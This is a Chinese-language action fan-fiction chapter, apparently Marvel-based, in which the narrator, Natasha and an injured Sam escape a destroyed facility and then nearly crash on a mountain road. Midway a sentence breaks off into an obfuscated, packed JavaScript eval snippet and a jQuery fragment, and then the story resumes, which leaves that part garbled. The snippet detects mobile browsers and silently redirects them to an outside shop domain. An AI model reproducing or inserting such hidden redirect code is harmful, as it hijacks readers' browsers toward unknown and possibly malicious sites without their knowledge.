咯哩嘀哩、咯哩嘀哩……
尽管我的头就像被打爆的沙袋一样剧痛不已，我还是在一片漆黑中勉强睁开了眼睛。我的鼻腔里充斥着灰尘和硝烟的味道，刺鼻且浓郁，几乎令人窒息。过了一会儿，等爆炸的嗡嗡声逐渐从耳膜消退之后，我终于听到娜塔莎的声音从不远处传来，仿佛隔着一堵墙似的，模模糊糊。
我嘟哝了一声，感觉自己像是躺在棺材里的一具尸体。只除了尸体不会有这么强烈的痛觉
“喀拉”一声，伴随着碎屑滚动的沙沙声，我头顶的板子被人用力掀了起来。但没有多少光照进来，四周还是该死的伸手不见五指。我辨认出一个隐约的轮廓，然后娜塔莎的声音从上方传出来：“嘿，还活着吗？”
“不知道。”我哑声回答，勉强动了动，“这里是地狱吗？感觉很像是地狱。”
然后我试着爬起来，浑身的骨头和肌肉立刻开始尖叫抗议。哈，开枪去打一枚近在咫尺的手榴弹，真他妈是个好主意啊，伙计。看来你需要长长记性了。
“去他妈的新泽西。”我嘟哝，只想躺回去在棺材里睡上一觉再从长计议，“去他妈的这个世界。”
“注意素质，老兄。”山姆的声音从另一个方向响起，他强打精神，但听上去仍很虚弱，“这儿还有位女士呢。”
紧接着有人抓住了我的肩膀，但没能立刻把我拉出来，因为有什么东西沉甸甸地压着我的腿。不过我的上半身已经成功脱离了硌人的废墟。山姆从后面伸出一只手，撑住不让我跌回去。我把一条胳膊伸到下面，抓住压着我的那个东西，然后使劲往上一掀。
“咣当”一声，伴随着娜塔莎的咒骂，我踉跄一步重新站了起来。他们两个一左一右抓住我的肩膀，把我拖到稍稍干净的一块地方。我和山姆都沉重地喘息着，只有娜塔莎的呼吸又轻又浅，几乎听不出来。
“那家伙呢？”我问，逐渐适应黑暗的眼睛已经能够看清周围的情况。这地方显然只有一小部分被那该死的手榴弹炸毁了，没被波及的地方仍旧勉强维持着原样。在我身旁不远处，一排类似于休眠仓似的东西仍旧整齐排列着。我可以清楚地看到，这些靠墙而立、连着数不清的电线和管子的休眠仓每个里头都有人；我也可以清楚地看到，每个休眠仓上都有不止一个弹孔，仿佛有人拿枪朝着这些休眠仓不分青红皂白一通扫射。
里面的人就算没有当时毙命，现在身上的血也该流干了。
寂静中，娜塔莎平静地回答：“那家伙一定已经离开了。这里没有他的尸体，只除了几处可疑的血迹。”她瞥着我，忽然指了指我右边的耳朵，“这里有东西。”
我咬牙抬起酸痛的手臂，用食指轻轻碰了碰。娜塔莎的眼睛够尖，的确有什么东西塞在我的耳朵里头。我的指尖碰到了冰凉的金属。呵，难怪我听右边的声音总是模模糊糊的。我咬紧牙关，小心翼翼把那东西抽出来，放在掌心里。
是一枚子弹，点二二口径。他妈的操蛋玩意儿。
“好家伙。你自己放的？还是那家伙给你留的纪念品？”山姆在一旁问。
我嘟哝了一声，用手背抹了把正顺着耳根淌下来的血，然后把那枚子弹塞进胸前的口袋里。一旁，娜塔莎严肃地看了我们一眼，低声说：“你带着山姆回车上去，我十五分钟之后去和你们汇合。”
“你还要干嘛？”我皱眉看着她。虽然这地方看起来除了我们已经没有别的活人了，但没准那个黑衣人仍旧埋伏在暗处，准备打我们一个措手不及。我不希望今晚再冒任何险了。这个任务本来不该掺杂这么多暴力的。娜塔莎说得对，我根本不在状态，我现在他妈的很脆弱。
操。
“我不想解释，也没时间和你废话。”娜塔莎的语气不耐烦起来，“乖乖地滚蛋，快点。”
没人愿意和娜塔莎争论。我二话不说抓起山姆的左肩——他的右肩显然伤得很重，此刻正不自然的向下塌着——然后弯下腰，把他的胳膊小心翼翼地架到我肩上。
“十五分钟，如果有情况，鸣枪示意。”我轻声说。
娜塔莎点了点头，然后转身像猫一样悄无声息地渗入了黑暗。我则带着山姆缓缓向左近的一扇窗户移动，尽量放轻脚步。如果有埋伏，至少从难以预测的方向出现会比较安全。
结果没有埋伏，只有冷风和被夜色笼罩的山林迎接我们。直到离开这个只剩废墟和尸体的鬼地方，回到停车的位置，也没有任何人朝我们放冷枪。当然，或许这样更能解释我耳朵里那枚子弹。
无论这个浪漫的王八蛋是谁，看来他都打算以后再和我算账。
好吧，我等着。
“带着你的蠢屁股上车去，保持警戒。”我在车边放下山姆。他的情况比我想得还要糟糕：右肩挨了一枪，出血量很多。他居然撑到现在还没晕过去，这已经是个奇迹了。
山姆一边点头一边靠在车门上，脸色苍白，嘴唇上一丝血色都没有。他喘了几口气，然后拉开车门，一条腿迈进去，压低身子，然后把胳膊架在半开的车门上，举枪替我放哨，不断扫视着四周的灌木丛和树林。
我快步绕到车后打开后备箱。那里有急救包，还有一些我能用得上的东西。我把它们一股脑拉出来，然后和山姆一左一右坐上车。
“除了肩膀，还有哪里有伤？”我一边问山姆，一边低头从急救包里拿出要用的东西。
“不知道。”他有气无力地回答，“但我眼前都是星星，妈的。”
“从你身上流出来的可不是番茄汁或者草莓酱，伙计。你这种情况叫做失血过多，搞不好还会导致失血性休克。”
“去你的。耍聪明的混蛋没人爱。”
我一边忍住笑，一边剪开他肩膀上的衣服，露出血肉模糊的伤口。没法判断里面的骨头有没有碎，只能先止血。我尽量放轻动作，但山姆还是疼得咬紧嘴唇直发抖。
“我说，你怎么会单枪匹马杀进九头蛇的基地里？”我一心二用地和他说话，同时还得留神车外的动静，“逞英雄可不是你的风格啊。”
“我没有闯进九头蛇的基地，白痴。”他低声说，眼睛半闭着，“那根本不是九头蛇的基地。”
他声音沙哑得厉害，和我不相上下，简直能组成破锣嗓子乐队了。我没有停下手上的工作，但也抽空掀起眼皮看了看他。“那是怎么回事？和你交火的难道不是九头蛇吗？”
“是。”山姆用力吞咽了一下，努力睁开眼睛看着我，“我这段时间一直在追踪那些人，今晚他们突袭了那个地方，杀光了所有人，还毁了所有的机器。我试图阻止他们，但……”他似乎打算耸耸肩，结果刚一动就疼得哆嗦起来。
我听得一头雾水，但决心把这些乱七八糟的问题暂时搁置一下。
“那个穿黑衣服的家伙身手挺犀利啊，你知道他的身份吗？”
山姆本打算摇头，但最后只是脸色苍白地回答：“不知道。他的行踪很诡秘，也并不是我的追踪对象。”他舔了舔嘴唇，“说实话，那家伙根本无法追踪，像幽灵一样。”
“嗯哼。”
这时，车外传来一声轻轻的呼哨。我于是抬手在窗户上敲了几下。过了一会儿，娜塔莎悄无声息地钻进了驾驶室。她瞥了我们一眼，然后启动车子。
“找到什么了吗？”我头也不抬地问她。
“所有的电脑都被毁了，没有任何纸质文件留下。”娜塔莎一边倒车一边回答，“无论那伙人是什么身份，他们的手段都很干脆利落。没有活口、没有残存的信息。”
山姆哼了一声。我已经处理完了他肩膀上的伤口，给他打了点止痛药，好让他稍稍放松一些。
“这家伙需要一个医生，小娜，越快越好。”
娜塔莎叹了口气。“我们必须
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616762|143466||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回纽约，新泽西不是个能让人久留的地方。”
“他也不能随便去医院，通缉令还没撤销。”我说着顿了顿，“你能联系到凯茜吗？”
娜塔莎阴沉着脸点了点头。
车子沿着陡峭的山路向下开。每一次颠簸，山姆都忍不住使劲皱眉。我伸手小心翼翼地稳住他，山姆却伸手朝我的胳膊指了指，垂着头，低声嘟哝：“在流血呢。”
我低头看了眼自己的胳膊，发现一道将近二十公分的口子从手腕一直蜿蜒到肘部。而且就像山姆说得那样，伤口正见鬼的流血不止。我重新从医疗箱里拽出药棉和止血钳，一边低声咒骂，一边把伤口里的碎片取出来。
至少车子拐上公路之后就开得平稳多了，不再上下颠簸，让人胃里直犯恶心。娜塔莎把速度提得很高。晚上车流量少，回程应该可以快点。
“开工第一天就中头彩，”我一边把染血的碎片扔到脚踏板上，一边嘀咕，“我们的运气真他妈爆表。”
“至少你们出现的很是时候。”山姆的声音低得像是自言自语，“那家伙打算杀了我，不是吗？”
“但在我们炸了他个满堂彩之后，他显然改变了原计划。”我说，“嘿，搞不好那一下伤得他够重呢。乐观点，伙计，毕竟他离得爆炸点比我近得……”
我突然住嘴，听到一阵迅速由远及近的引擎声，在夜色中不祥的咆哮着。
“搞什么……”娜塔莎突然叫了起来。透过风挡玻璃，我们看到对面的路上并肩驶来两辆塞满人的颜色鲜艳的敞篷跑车。
——这是一条很旧的公路，中间没有围栏，堪堪只够两辆车同时并行。显然对面那两辆车上的小鬼们要么是喝多了，要么是磕嗨了，正拿这条偏僻的公路当赛车跑道。无论哪一边留出的余地，都根本不够第三辆车通过。
他们的跑车正在全速行驶，在夜色中犹如两枚鲜亮的巨型子弹，朝我们狠狠射来。
“敌袭！”山姆夸张地大叫起来，显然突发状况调动了他身上的肾上腺素。我一把抓住他，拼命侧身把我们两个一起固定在车座上，用膝盖和大腿顶住车前座。与此同时，刺耳的轮胎摩擦声犹如凄厉的尖叫声，娜塔莎猛打方向盘，朝着公路旁边的栅栏狠狠撞了过去。
“嘭”的一声巨响。我的牙齿和骨骼都在疯狂震颤，仿佛体内发生了一场小型地震。山姆死死咬着牙，脖子朝后使劲一仰，脸上血色全无。我们的车子撞破栅栏，一头冲进旁边长满野草的斜坡上，刚好让两辆跑车擦着我们的车屁股一闪而过。娜塔莎用俄语连珠炮似的大骂不止。车子刚停，说时迟那时快，她一把掏出抢来，砰的一声打开驾驶座的车门，回头瞄准那两辆跑车中的一辆。
“娜塔莎！”我吓得大叫起来，“不要！”
我的警告显然没起到什么实质性作用。娜塔莎毫不留情地开枪，连眼睛都不眨一下。我猛地扭头，一口气憋在胸口，还以为她一怒之下要打爆那几个嗨上天的小鬼的炫酷跑车。
然而没有汽缸中弹后的那种声响传来。透过车窗，我看到其中一辆跑车忽然开始打滑，紧接着以令人炫目的速度原地打转，犹如失控的碰碰车。在遥远而又模糊的尖叫声中，那辆跑车最终停在了路边。紧跟着，车门打开，几个年轻男女从车上跌跌撞撞滚下来，还没落地就“哇”的吐了出来。
“一群**养的混蛋。”娜塔莎骂完才坐回车上，使劲关上车门，然后倒车。车子抗议似的哼哼了几声，终于开始往后退。车子和断裂的栅栏摩擦，发出令人牙酸的尖锐声响。我忍不住缩了缩肩膀。
“操。”山姆骂了一句，然后一把抓住我的胳膊。我还没感觉到疼，但马上就会感觉到了。
——之前在我手拿着的那把止血钳不知何时从我的伤口直直地插了进去，血正喷泉一样往外冒。
妈的，一群**养的混蛋。娜塔莎，干得漂亮。